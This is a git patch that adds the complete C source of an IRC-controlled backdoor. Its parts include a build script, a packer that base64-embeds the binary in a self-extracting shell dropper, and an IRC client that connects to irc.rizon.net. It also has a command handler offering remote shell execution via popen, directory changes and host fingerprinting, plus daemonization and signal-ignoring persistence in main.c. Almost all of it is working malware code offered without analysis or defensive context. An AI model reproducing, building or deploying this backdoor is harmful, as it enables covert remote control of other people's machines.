From c17475259740284e3625564e260592957dd98e7e Mon Sep 17 00:00:00 2001 From: Your Name Date: Sun, 21 Apr 2024 19:39:15 +0300 Subject: [PATCH] first --- build.sh | 5 + gen_script.sh | 3 + include/backdoor.h | 10 ++ include/cfg.h | 13 +++ include/irc.h | 65 +++++++++++++ src/backdoor.c | 76 +++++++++++++++ src/irc.c | 237 +++++++++++++++++++++++++++++++++++++++++++++ src/main.c | 78 +++++++++++++++ 8 files changed, 487 insertions(+) create mode 100755 build.sh create mode 100755 gen_script.sh create mode 100644 include/backdoor.h create mode 100644 include/cfg.h create mode 100644 include/irc.h create mode 100644 src/backdoor.c create mode 100644 src/irc.c create mode 100644 src/main.c diff --git a/build.sh b/build.sh new file mode 100755 index 0000000..a8093d0 --- /dev/null +++ b/build.sh @@ -0,0 +1,5 @@ +CFLAGS="-s -Os -pedantic -Wall -Wextra" + +rm main + +cc $CFLAGS src/* -Iinclude -DENABLE_SSL -lssl -lcrypto -omain diff --git a/gen_script.sh b/gen_script.sh new file mode 100755 index 0000000..2237ff1 --- /dev/null +++ b/gen_script.sh @@ -0,0 +1,3 @@ +#!/bin/sh +./build.sh +echo \#\!"/bin/sh" > script.sh && cat main | base64 | xargs -I % echo f+=\" % \" | tr -d " " >> script.sh && echo -e "t=\$(mktemp -p \$TMPDIR XXXXXXXX)\necho \$f | base64 -d > \$t\nchmod +x \$t\nexec \$t" >> script.sh && chmod +x script.sh diff --git a/include/backdoor.h b/include/backdoor.h new file mode 100644 index 0000000..d9804c2 --- /dev/null +++ b/include/backdoor.h @@ -0,0 +1,10 @@ +#ifndef _BACKDOOR_H +#define _BACKDOOR_H +#include "irc.h" + +#define COMMON_BUF_SIZE 200 + +void backdoor_offline(void); +void parse_cmd(IRCC_client *client); + +#endif diff --git a/include/cfg.h b/include/cfg.h new file mode 100644 index 0000000..d334079 --- /dev/null +++ b/include/cfg.h @@ -0,0 +1,13 @@ +typedef struct { + int use_ssl; + char *ip; + int port; + + char *pre_cmd; + char *channel; + char *channel_key; +} SERVER; + +SERVER servers[] = { + {1, "irc.rizon.net", 6697, NULL, "#channel", NULL} +}; diff --git a/include/irc.h b/include/irc.h new file mode 100644 index 0000000..672788c --- /dev/null +++ b/include/irc.h @@ -0,0 +1,65 @@ +/* + LICENSE: WTFPL + Simple library for working with ipv4 irc servers + Dont support: + ddc + ipv6 + motd +*/ + +#ifndef _IRCC_H +#define _IRCC_H + +#define IRCC_MSG_MAX 512 +#define IRCC_PING_TIMEOUT 600 + +#ifdef ENABLE_SSL +#include +#endif + +enum { + IRCC_NICK = 1, + IRCC_PRIVMSG, + IRCC_JOIN, + IRCC_QUIT, + IRCC_PING, + IRCC_TOPIC, + IRCC_MODE, + + IRCC_CONNECTED, + IRCC_DISCONNECTED, + IRCC_ERROR, + IRCC_SUCCESS +}; + +typedef struct { + int irc_socket; + + char irc_raw[IRCC_MSG_MAX + 1]; + char *irc_msg; + char *irc_channel; + char *irc_nick; + +#ifdef ENABLE_SSL + int irc_usingssl; + + SSL_METHOD *irc_sslmethod; + SSL_CTX *irc_sslctx; + SSL *irc_ssl; +#endif +} IRCC_client; + +int IRCC_connect(IRCC_client *irc, const char *ip, const unsigned int port); +int IRCC_recv(IRCC_client *irc); +int IRCC_parse(IRCC_client *irc); +int IRCC_join(IRCC_client *irc, const char *channel, const char *key); +int IRCC_send(IRCC_client *irc, const char *channel, const char *msg); +int IRCC_register(IRCC_client *irc, const char *nickname); +int IRCC_initssl(IRCC_client *irc); +void IRCC_close(IRCC_client *irc); + +//u - mean universal. Functions uses internal fields in structure +int IRCC_usend(IRCC_client *irc, off_t bytes); +int IRCC_urecv(IRCC_client *irc); + +#endif diff --git a/src/backdoor.c b/src/backdoor.c new file mode 100644 index 0000000..c95e029 --- /dev/null +++ b/src/backdoor.c @@ -0,0 +1,76 @@ +#include +#include +#include "backdoor.h" +#include "irc.h" + +static FILE *fp; + +void backdoor_offline(void) { + sleep(60); +} + +void send_info(IRCC_client *client, const char *buf) { + char *nick = strdup(client->irc_nick); + if (nick == NULL) + return; + + IRCC_send(client, nick, buf); + free(nick); +} + +void parse_cmd(IRCC_client *client) { + if (!strncmp(client->irc_msg, "!exit", 5)) { + IRCC_close(client); + exit(0); + } + + else if (!strncmp(client->irc_msg, "!cd", 3)) + chdir(client->irc_msg + 4); + + else if (!strncmp(client->irc_msg, "!uname", 6)) { + struct utsname uts; + if (uname(&uts) < 0) + return; + + char buf[COMMON_BUF_SIZE + 1]; + snprintf(buf, sizeof(buf), "[Arch: %s] [Sys: %s %s] [Host: %s]", uts.machine, uts.sysname, uts.version, uts.nodename); + + send_info(client, buf); + } + + /* Shell */ + else if (!strncmp(client->irc_msg, "!exec", 5)) { + if (fp != NULL) + pclose(fp); + + fp = popen(client->irc_msg + 5, "wr"); + } + + else if (!strncmp(client->irc_msg, "!print", 5)) { + if (fp == NULL) + return; + + char buf[COMMON_BUF_SIZE + 1]; + if (fgets(buf, sizeof(buf), fp) == NULL) { + pclose(fp); + fp = NULL; + } + + send_info(client, buf); + } + + else if (!strncmp(client->irc_msg, "!write", 5)) { + if (fp == NULL) + return; + + fputs(client->irc_msg + 5, fp); + } + + else if (!strncmp(client->irc_msg, "!close", 5)) { + if (fp == NULL) + return; + + pclose(fp); + fp = NULL; + } +} diff --git a/src/irc.c b/src/irc.c new file mode 100644 index 0000000..ecfda99 --- /dev/null +++ b/src/irc.c @@ -0,0 +1,237 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "irc.h" + +int IRCC_urecv(IRCC_client *irc) { +#ifdef ENABLE_SSL + if (irc->irc_usingssl) + return SSL_read(irc->irc_ssl, irc->irc_raw, sizeof(irc->irc_raw)); +#endif + + return recv(irc->irc_socket, irc->irc_raw, sizeof(irc->irc_raw), 0); +} + +int IRCC_usend(IRCC_client *irc, off_t bytes) { +#ifdef ENABLE_SSL + if (irc->irc_usingssl) + return SSL_write(irc->irc_ssl, irc->irc_raw, bytes); +#endif + + return send(irc->irc_socket, irc->irc_raw, bytes, 0); +} + +int IRCC_connect(IRCC_client *irc, const char *ip, const unsigned int port) { + struct hostent *hp = gethostbyname(ip); + if (!hp) + return IRCC_ERROR; + + //Only ipv4 + struct sockaddr_in client_str; + memset(&client_str, 0, sizeof(client_str)); + client_str.sin_family = AF_INET; + client_str.sin_port = htons(port); + client_str.sin_addr.s_addr = inet_addr(inet_ntoa(*(struct in_addr *)hp->h_addr)); + + irc->irc_socket = socket(AF_INET, SOCK_STREAM, 0); + if (irc->irc_socket < 0) + return IRCC_ERROR; + + struct timeval tv = {IRCC_PING_TIMEOUT, 0}; + if (setsockopt(irc->irc_socket, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)) < 0) + return IRCC_ERROR; + + int status = connect(irc->irc_socket, (struct sockaddr *)&client_str, sizeof(client_str)); + if (status == -1) + return IRCC_ERROR; + + return IRCC_SUCCESS; +} + +void IRCC_parse_msg(char *tmp, IRCC_client *irc) { + irc->irc_raw[strcspn(irc->irc_raw, "\r\n")] = '\0'; + + if (tmp != NULL) { + //Message + char *val = strchr(tmp, ':'); + if (val != NULL) { + val[0] = '\0'; + irc->irc_msg = val + 1; + + //Del space before : + *(val - 1) = '\0'; + } + + //Channel + val = strchr(tmp, ' '); + if (val != NULL) { + val[0] = '\0'; + irc->irc_channel = val + 1; + } + + //Nickname + val = strchr(irc->irc_raw, '!'); + if (val != NULL) { + val[0] = '\0'; + irc->irc_nick = irc->irc_raw + 1; + } + } +} + +int IRCC_recv(IRCC_client *irc) { + memset(irc->irc_raw, '\0', IRCC_MSG_MAX); + + int msg_size = IRCC_urecv(irc); + if (msg_size == 0 || msg_size == -1) + return IRCC_DISCONNECTED; + + else if (!strncmp(irc->irc_raw, "PING", 4)) { + *(strchr(irc->irc_raw, 'I')) = 'O'; + if (IRCC_usend(irc, strlen(irc->irc_raw)) == -1) + return IRCC_ERROR; + + return IRCC_PING; + } + + return IRCC_SUCCESS; +} + +int IRCC_parse(IRCC_client *irc) { + irc->irc_channel = NULL; + irc->irc_msg = NULL; + irc->irc_nick = NULL; + + //Check end of motd + if (strstr(irc->irc_raw, "PRIVMSG ") == NULL && strstr(irc->irc_raw, "MOTD")) + return IRCC_CONNECTED; + + //Other + else if (strstr(irc->irc_raw, "PRIVMSG ")) { + IRCC_parse_msg(strstr(irc->irc_raw, "PRIVMSG "), irc); + return IRCC_PRIVMSG; + } + + else if (strstr(irc->irc_raw, "NICK ")) { + IRCC_parse_msg(strstr(irc->irc_raw, "NICK "), irc); + return IRCC_NICK; + } + + else if (strstr(irc->irc_raw, "TOPIC ")) { + IRCC_parse_msg(strstr(irc->irc_raw, "TOPIC "), irc); + return IRCC_TOPIC; + } + + else if (strstr(irc->irc_raw, "MODE ")) { + IRCC_parse_msg(strstr(irc->irc_raw, "MODE "), irc); + return IRCC_MODE; + } + + else if (strstr(irc->irc_raw, "JOIN ")) { + IRCC_parse_msg(strstr(irc->irc_raw, "JOIN "), irc); + return IRCC_JOIN; + } + + else if (strstr(irc->irc_raw, "PART ") || strstr(irc->irc_raw, "QUIT ")) { + IRCC_parse_msg(strstr(irc->irc_raw, "PART "), irc); + IRCC_parse_msg(strstr(irc->irc_raw, "QUIT "), irc); + return IRCC_QUIT; + } + + return IRCC_SUCCESS; +} + +int IRCC_register(IRCC_client *irc, const char *nickname) { + off_t bytes = snprintf(irc->irc_raw, sizeof(irc->irc_raw), "NICK %s\r\n", nickname); + if (IRCC_usend(irc, bytes) == -1) + return IRCC_ERROR; + + bytes = snprintf(irc->irc_raw, sizeof(irc->irc_raw), "USER %s 0 localhost :%s\r\n", nickname, nickname); + if (IRCC_usend(irc, bytes) == -1) + return IRCC_ERROR; + + //Motd skip + while (1) { + int status = IRCC_recv(irc); + if (status == IRCC_DISCONNECTED) + return IRCC_DISCONNECTED; + + status = IRCC_parse(irc); + if (status == IRCC_CONNECTED) + break; + } + + return IRCC_SUCCESS; +} + +int IRCC_join(IRCC_client *irc, const char *channel, const char *key) { + off_t bytes = snprintf(irc->irc_raw, sizeof(irc->irc_raw), "JOIN %s %s\r\n", channel, (key) ? key : ""); + if (IRCC_usend(irc, bytes) == -1) + return IRCC_ERROR; + + return IRCC_SUCCESS; +} + +int IRCC_send(IRCC_client *irc, const char *channel, const char *msg) { + off_t bytes = snprintf(irc->irc_raw, sizeof(irc->irc_raw), "PRIVMSG %s :%s\r\n", channel, msg); + if (IRCC_usend(irc, bytes) == -1) + return IRCC_ERROR; + + return IRCC_SUCCESS; + +} + +int IRCC_initssl(IRCC_client *irc) { +#ifdef ENABLE_SSL + irc->irc_ssl = NULL; + irc->irc_sslctx = NULL; + irc->irc_sslmethod = NULL; + + OpenSSL_add_all_algorithms(); + + if (SSL_library_init() < 0) + return IRCC_ERROR; + + irc->irc_sslmethod = (SSL_METHOD *)SSLv23_client_method(); + irc->irc_sslctx = SSL_CTX_new(irc->irc_sslmethod); + if (irc->irc_sslctx == NULL) + return IRCC_ERROR; + + SSL_CTX_set_options(irc->irc_sslctx, SSL_OP_NO_SSLv2); + irc->irc_ssl = SSL_new(irc->irc_sslctx); + + SSL_set_fd(irc->irc_ssl, irc->irc_socket); + if (SSL_connect(irc->irc_ssl) != 1) + return IRCC_ERROR; + + irc->irc_usingssl = 1; + +#else + (void)irc; +#endif + + return IRCC_SUCCESS; +} + +void IRCC_close(IRCC_client *irc) { + close(irc->irc_socket); + irc->irc_msg = irc->irc_nick = irc->irc_channel = NULL; + +#ifdef ENABLE_SSL + if (!irc->irc_usingssl) + return; + + if (irc->irc_ssl != NULL) { + SSL_shutdown(irc->irc_ssl); + SSL_free(irc->irc_ssl); + } + + if (irc->irc_sslctx != NULL) + SSL_CTX_free(irc->irc_sslctx); +#endif +} diff --git a/src/main.c b/src/main.c new file mode 100644 index 0000000..9238cbc --- /dev/null +++ b/src/main.c @@ -0,0 +1,78 @@ +#include +#include +#include +#include +#include "backdoor.h" +#include "irc.h" +#include "cfg.h" + +char *randnick(size_t len) { + char a[] = "asdfghjklzxcvbnmqwertyuiopASDFGHJKLZXCVBNMQWERTYUIOP"; + char *str = malloc(len + 1); + if (str == NULL) + return NULL; + + for (size_t i = 0; i < len; i++) + str[i] = a[rand() % sizeof(a)]; + + str[len] = '\0'; + return str; +} + +int start(void) { + SERVER rand_serv = servers[rand() % (sizeof(SERVER) / sizeof(servers))]; + + static IRCC_client client; + int status = IRCC_connect(&client, rand_serv.ip, rand_serv.port); + if (status == IRCC_ERROR) + return 1; + + if (rand_serv.use_ssl) + if (IRCC_initssl(&client) == IRCC_ERROR) + return 1; + + char *nick = randnick(15); + if (nick == NULL) + return 0; + + if (IRCC_register(&client, nick) == IRCC_DISCONNECTED) { + free(nick); + return 1; + } + + free(nick); + + if (IRCC_join(&client, rand_serv.channel, rand_serv.channel_key) == IRCC_ERROR) + return 0; + + while (1) { + int irc_status = IRCC_recv(&client); + if (irc_status == IRCC_DISCONNECTED) + return 1; + + irc_status = IRCC_parse(&client); + if (irc_status == IRCC_PRIVMSG && client.irc_nick != NULL && client.irc_msg != NULL && client.irc_channel != NULL) + parse_cmd(&client); + } + + return 1; +} + +int main(void) { + daemon(0, 0); + + if (fork() == 0) { + daemon(0, 0); + signal(SIGINT, SIG_IGN); + signal(SIGTERM, SIG_IGN); + signal(SIGKILL, SIG_IGN); + + srand(getpid()); + chdir(getenv("HOME")); + while (1) + if (start()) + backdoor_offline(); + } + + return 0; +}